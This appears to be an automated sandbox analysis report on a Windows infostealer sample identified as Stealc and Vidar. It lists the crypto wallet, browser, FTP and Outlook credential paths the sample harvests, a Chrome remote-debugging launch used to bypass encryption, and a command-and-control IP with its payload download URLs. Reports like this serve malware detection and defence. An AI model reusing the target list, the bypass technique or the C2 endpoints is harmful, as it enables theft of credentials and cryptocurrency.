Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.000000000033E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2037523332.00000000001B6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2039349561.0000000000F70000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.$Qm

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6692, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2037523332.00000000000D1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2039349561.0000000000EFE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1669377238.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6692, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6692, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Remote Access Software	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	12 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	114 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	39%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://www.broofa.com	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://apis.google.com	0%	URL Reputation	safe
https://domains.google.com/suggest/flow	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.185.78	true	false	unknown
play.google.com	142.250.186.46	true	false	unknown
www.google.com	142.250.185.228	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dll	true	unknown
http://185.215.113.206/746f34465cf17784/vcruntime140.dll	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false	unknown
https://www.google.com/async/newtab_promos	false	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://www.google.com/async/ddljson?async=ntp:2	false	unknown
https://play.google.com/log?format=json&hasfast=true	false	unknown
https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw	false	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	KJJKEBGHJKFIDGCAAFCAFCBAKF.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1866211003.0000000000FCF000.00000004.00000020.00020000.00000000.sdmp, EBFBFBFI.0.dr	false	URL Reputation: safe	unknown
http://www.broofa.com	chromecache_77.3.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2067770428.0000000023221000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2039349561.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp, GDBAKKKFBGDHJKFHJJJJ.0.dr	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2079988567.000000006CF01000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2037523332.00000000000FC000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1669377238.0000000004B2B000.00000004.00001000.00020000.00000000.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206/746f34465cf17784/msvcp140.dlleh	file.exe, 00000000.00000002.2039349561.0000000000F56000.00000004.00000020.00020000.00000000.sdmp	false		unknown
